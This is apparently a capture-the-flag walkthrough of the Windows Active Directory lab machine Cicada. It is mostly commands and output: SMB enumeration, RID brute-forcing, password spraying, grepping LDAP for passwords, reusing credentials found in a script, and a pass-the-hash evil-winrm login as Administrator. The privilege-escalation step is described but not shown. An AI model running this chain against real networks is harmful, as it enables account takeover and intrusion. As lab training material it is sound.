



# Welcome to my first walkthrough

## CICADA WALKTHROUGH



### Cicada has been Pwned!

Congratulations  **AVSEVEN**, best of luck in capturing flags ahead!

<b>#8930</b>	<b>12 Dec 2024</b>	<b>30</b>
MACHINE RANK	PWN DATE	POINTS EARNED

## Enumeration

The first step for any machine is enumeration. We'll kick things off with a straightforward Nmap scan to identify open ports on the target. From there, we can focus on the low-hanging fruit and start our enumeration process.

```
nmap -sC -sV 10.10.11.35 -T5
```

```
root@AVSEVEN: ~  
root@AVSEVEN: ~  
(root@AVSEVEN) - [~]  
# nmap -sC -sV 10.10.11.35 -T5  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 17:19 IST  
Nmap scan report for cicada.htb (10.10.11.35)  
Host is up (0.29s latency).  
Not shown: 989 filtered tcp ports (no-response)  
PORT      STATE SERVICE          VERSION  
53/tcp    open  domain           Simple DNS Plus  
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2024-12-16 18:50:30Z)  
135/tcp    open  msrpc            Microsoft Windows RPC  
139/tcp    open  netbios-ssn      Microsoft Windows netbios-ssn  
389/tcp    open  ldap             Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)  
|_ ssl-date: TLS randomness does not represent time  
|_ ssl-cert: Subject: commonName=CICADA-DC.cicada.htb  
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb  
|_ Not valid before: 2024-08-22T20:24:16  
|_ Not valid after: 2025-08-22T20:24:16  
445/tcp    open  microsoft-ds?    Microsoft Windows RPC over HTTP 1.0  
464/tcp    open  kpasswd5?        Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)  
593/tcp    open  ncacn_http       Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)  
|_ ssl-date: TLS randomness does not represent time  
|_ ssl-cert: Subject: commonName=CICADA-DC.cicada.htb  
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb  
|_ Not valid before: 2024-08-22T20:24:16  
|_ Not valid after: 2025-08-22T20:24:16  
636/tcp    open  ssl/ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)  
|_ ssl-date: TLS randomness does not represent time  
|_ ssl-cert: Subject: commonName=CICADA-DC.cicada.htb  
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb  
|_ Not valid before: 2024-08-22T20:24:16  
|_ Not valid after: 2025-08-22T20:24:16  
3268/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)  
|_ ssl-date: TLS randomness does not represent time  
|_ ssl-cert: Subject: commonName=CICADA-DC.cicada.htb  
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb  
|_ Not valid before: 2024-08-22T20:24:16  
|_ Not valid after: 2025-08-22T20:24:16  
3269/tcp   open  ssl/ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)  
|_ ssl-date: TLS randomness does not represent time
```

We found some interesting ports, including Kerberos, SMB, and LDAP. However, the most intriguing ones to start with are ports 139 and 445. First, let's add the domain name to our hosts file using the simple command below:

```
echo "10.10.11.35 cicada.htb CICADA-DC.cicada.htb" | tee -a /etc/hosts
```

```
(root@AVSEVEN) - [~]  
# echo "10.10.11.35 cicada.htb CICADA-DC.htb" | tee -a /etc/hosts  
10.10.11.35 cicada.htb CICADA-DC.htb  
  
(root@AVSEVEN) - [~]  
# cat /etc/hosts  
127.0.0.1    localhost  
127.0.1.1    AVSEVEN  
  
# The following lines are desirable for IPv6 capable hosts  
::1         localhost ip6-localhost ip6-loopback  
ff02::1     ip6-allnodes  
ff02::2     ip6-allrouters  
10.10.11.35 cicada.htb CICADA-DC.htb
```

With the open SMB port, we can try to enumerate it to check for anonymous login access or using random user accounts. We can use netexec for this purpose.

```
netexec smb cicada.htb -u anonymous -p ""
```

```
(root@AVSEVEN) - [~] 10.10.11.35
# netexec smb cicada.htb -u anonymous -p ""
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\anonymous:
```

Since it accepts anonymous login without a password, we can use the same netexec command to enumerate the shares available on the system.

```
netexec smb cicada.htb -u anonymous -p "" -shares
```

```
[root@AVSEVEN]# netexec smb cicada.htb -u anonymous -p "" --shares
```

SMB	IP	Port	Host	Status
SMB	10.10.11.35	445	CICADA-DC	[*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB	10.10.11.35	445	CICADA-DC	[+] cicada.htb\anonymous:
SMB	10.10.11.35	445	CICADA-DC	[*] Enumerated shares
SMB	10.10.11.35	445	CICADA-DC	Share Permissions Remark
SMB	10.10.11.35	445	CICADA-DC	-----
SMB	10.10.11.35	445	CICADA-DC	ADMIN\$ Remote Admin
SMB	10.10.11.35	445	CICADA-DC	C\$ Default share
SMB	10.10.11.35	445	CICADA-DC	DEV
SMB	10.10.11.35	445	CICADA-DC	HR READ
SMB	10.10.11.35	445	CICADA-DC	IPC\$ READ Remote IPC
SMB	10.10.11.35	445	CICADA-DC	NETLOGON Logon server share
SMB	10.10.11.35	445	CICADA-DC	SYSVOL Logon server share

Great! We now have read access to the HR and IPC\$ shares. Let's use smbclient to access them. After accessing the HR share with smbclient, we found a notice file. Using the mget command, we downloaded it to our local machine. Let's check out what it contains!

```
smbclient //cicada.htb/HR -U anonymous -p "" -N
```

```
(root@AVSEVEN)-[~]
# smbclient //cicada.htb/HR -U anonymous -p "" -N
Try "help" to get a list of possible commands.
smb: \> ls

.          D          0   Thu Mar 14 17:59:09 2024
..         D          0   Thu Mar 14 17:51:29 2024
Notice from HR.txt  A      1266   Wed Aug 28 23:01:48 2024

4168447 blocks of size 4096. 430185 blocks available

smb: \> mget *
Get file Notice from HR.txt? y
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \> exit
```

```
(root@AVSEVEN)-[~]
# cat Notice\ from\ HR.txt

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp
```

Upon reading the content of the file, we noticed it discusses changing a password and mentions a default password. However, we don't know which user this password applies to. This is where netexec comes into play again; we can use it with the --rid-brute option to retrieve the users on the system.

```
netexec smb cicada.htb -u anonymous -p "" --rid-brute
```

```
(root@AVSEVEN) ~  
# netexec smb cicada.htb -u anonymous -p "" --rid-brute  
SMB 10.10.11.35 445 CICADA-DC C:\Windows Server 2022 Build 20348 x64 (name:CICADA-DC):(domain:cicada.htb) (signing:True) (SMBv1:False)  
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\anonymous:  
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)  
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)  
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)  
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)  
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)  
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
```

After completions we found some names at the bottom, copy all the name and save it in .txt format (user.txt).

```
1 john.smoulder  
2 sarah.dantelia  
3 michael.wrightson  
4 david.orelious  
5 dev  
6 emily.oscars  
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)  
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)  
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)  
  
(root@AVSEVEN) ~  
# gedit user.txt  
  
(gedit:6465): tepl-WARNING **: 17:33:14.362: Style scheme 'Kali-Dark' cannot be found, falling back to 'Kali-Dark' default style scheme.  
(gedit:6465): tepl-WARNING **: 17:33:14.362: Default style scheme 'Kali-Dark' cannot be found, falling back to 'Kali-Dark' default style scheme.
```

Let's try to validate the users with the password we found earlier.

```
netexec smb cicada.htb -u user.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

```
(root@AVUSEVEN)-[~]
netexec smb cicada.htb -u user.txt -p 'Cicada$M6Corpb*@Lp#nZp18'

SMB 10.10.11.35 445 CICADA-DC [10.11.35+] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp18 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp18
```

It looks like the user michael.wrightson is associated with the password we found. Let's go ahead and use that password to check which shares we have read or write access to.

```
netexec smb cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
```

```
(root@AVSEVEN) [~]
# netexec smb cicada.htb -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htbmichael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC -----
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
```

Let's try using user michael.wrightson and it's password we have to see if we can authenticate with LDAP. One of the great things about LDAP is that it allows us to retrieve both users and passwords. Since we already have the user list, we're specifically looking for passwords this time. Still, I'll demonstrate how to extract users using LDAP, just for clarity.

```
ldapsearch -H ldap://cicada.htb -D 'michael.wrightson@cicada.htb' -w  
'Cicada$M6Corpb*@Lp#nZp!8' -b 'dc=cicada,dc=htb'
```

```
(root@AVSEVEN)-[~]
# ldapsearch -H ldap://cicada.htb -D 'michael.wrightson@cicada.htb' -w 'Cicada$M6Corp*@Lp#nZp!8' -b 'dc=cicada,dc=htb'
# extended LDIF
#
# LDAPv3
# base <dc=cicada,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# cicada.htb
dn: DC=cicada,DC=htb
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=cicada,DC=htb
instanceType: 5
whenCreated: 20240314110913.0Z
whenChanged: 20241216170155.0Z
subRefs: DC=DomainDnsZones,DC=cicada,DC=htb
subRefs: DC=ForestDnsZones,DC=cicada,DC=htb
subRefs: CN=Configuration,DC=cicada,DC=htb
uSNCreated: 4099
dSA_SIGNATURE:: AQAACgAAAAAAAAAAAAAAAAAAAAAAAAAATbjbkfJKCAewhoWAg90BBV==
uSNCchanged: 196664
name: cicada
objectGUID:: t/9uUtkEcU6GuiR6/F/Y4A==
replUpToDateVector: AgAAAAAAAAAPAAAAAAAAAAN5vZApGs2FKkbS2vn0tk60d8AEAAAAAAAAAKQ4
```

Using this command, we can see that it only displays the usernames. To look for passwords, we can use `grep pass` at the end, as shown below.



```
ldapsearch -H ldap://cicada.htb -D 'michael.wrightson@cicada.htb' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b 'dc=cicada,dc=htb' | grep pass
```

Looks like we've found another password! Let's go ahead and perform a password spray to identify its owner.

```
(root@AVSEVEN) - [~]
# ldapsearch -H ldap://cicada.htb -D 'michael.wrightson@cicada.htb' -w 'Cicada$M6Corpb*@Lp#nZp!8' -b 'dc=cicada,dc=htb' | grep pass

description: Members in this group can have their passwords replicated to all
description: Members in this group cannot have their passwords replicated to a
description: Just in case I forget my password is aRt$Lp#7t*VQ!3
```

```
netexec smb cicada.htb -u user.txt -p 'aRt$Lp#7t*VQ!3'
```

```
(root@AVSEVEN) - [~]
# netexec smb cicada.htb -u user.txt -p 'aRt$Lp#7t*VQ!3'

SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\michael.wrightson:aRt$Lp#7t*VQ!3 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
```

Now that we have the password owner as david.orelious, let's check if we have access to the DEV shares now.

```
netexec smb cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
```

```
(root@AVSEVEN) - [~]
# netexec smb cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC
SMB 10.10.11.35 445 CICADA-DC
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL Logon server share
```

Finally, we've gained read access to the DEV shares. Let's dive in and see what we can discover.

```
smbclient //cicada.htb/DEV -U 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

```
(root@AVSEVEN) - [~]
# smbclient //cicada.htb/DEV -U 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
.          D      0  Thu Mar 14 18:01:39 2024
..         D      0  Thu Mar 14 17:51:29 2024
Backup_script.ps1  A      601  Wed Aug 28 22:58:22 2024

4168447 blocks of size 4096. 430073 blocks available
smb: \> mget *
Get file Backup_script.ps1? y
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> exit
```

We're in, and we've spotted a backup PowerShell file. We used the get command to download it to our local Kali machine. Now, let's check its contents to see what it does.

```
(root@AVSEVEN)-[~]
# cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HH:mm:ss"
$backupFileName = "smb backup $dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

Awesome! With the new username and password, it looks like we might be in for a windfall of credentials. Let's use WinRM to access the target.

Now that we're in, all that's left is to locate and view the contents of the user.txt file in the user's desktop directory i.e. The First token.

```
evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
```

```
(root@AVSEVEN)-[~]
# evil-winrm -i cicada.htb -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.7
10.10.11.35
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> ls

Directory: C:\Users\emily.oscars.CICADA\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---           12/16/2024   9:03 AM             34 user.txt

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> cat user.txt
38c0930abc51c52572326c92fea6f52d
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop>
```

We'll navigate to the C:\ directory and create a Temp directory. If we want to be more discreet, we can also go to a directory where we have read and write privileges.

Once in the Temp directory, we'll use our SeBackupPrivilege to read the SAM file and save a copy of it. We'll do the same for the SYSTEM file, ensuring we have variants of both.





```
evil-winrm -i cicada.htb -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

```
(root@AVSEVEN)-[~]
# evil-winrm -i cicada.htb -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> ls

10.10.11.35

Directory: C:\Users\Administrator

Mode                LastWriteTime         Length Name
----                -
d-r--            3/14/2024   3:45 AM              3D Objects
d-r--            3/14/2024   3:45 AM              Contacts
d-r--            8/30/2024  10:06 AM              Desktop
d-r--            3/14/2024  10:20 PM              Documents
d-r--            3/14/2024   3:45 AM              Downloads
d-r--            3/14/2024   3:45 AM              Favorites
d-r--            3/14/2024   3:45 AM              Links
d-r--            3/14/2024   3:45 AM              Music
d-r--            3/14/2024   3:45 AM              Pictures
d-r--            3/14/2024   3:45 AM              Saved Games
d-r--            3/14/2024   3:45 AM              Searches
d-r--            3/14/2024   3:45 AM              Videos

Congratulations AVSEVEN!
You are player #9930 to have pwned Cicada.
Share Results
```

All that's left is to locate and view the contents of the root.txt file in the Administrator's desktop directory i.e. The Second token.

```
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar--            12/16/2024   9:03 AM              34 root.txt

Congratulations AVSEVEN!
You are player #9930 to have pwned Cicada.
Share Results

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
6cc55281f7e424024a9c83e6d3a413ab
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

That's all for the day and Thanks for reading!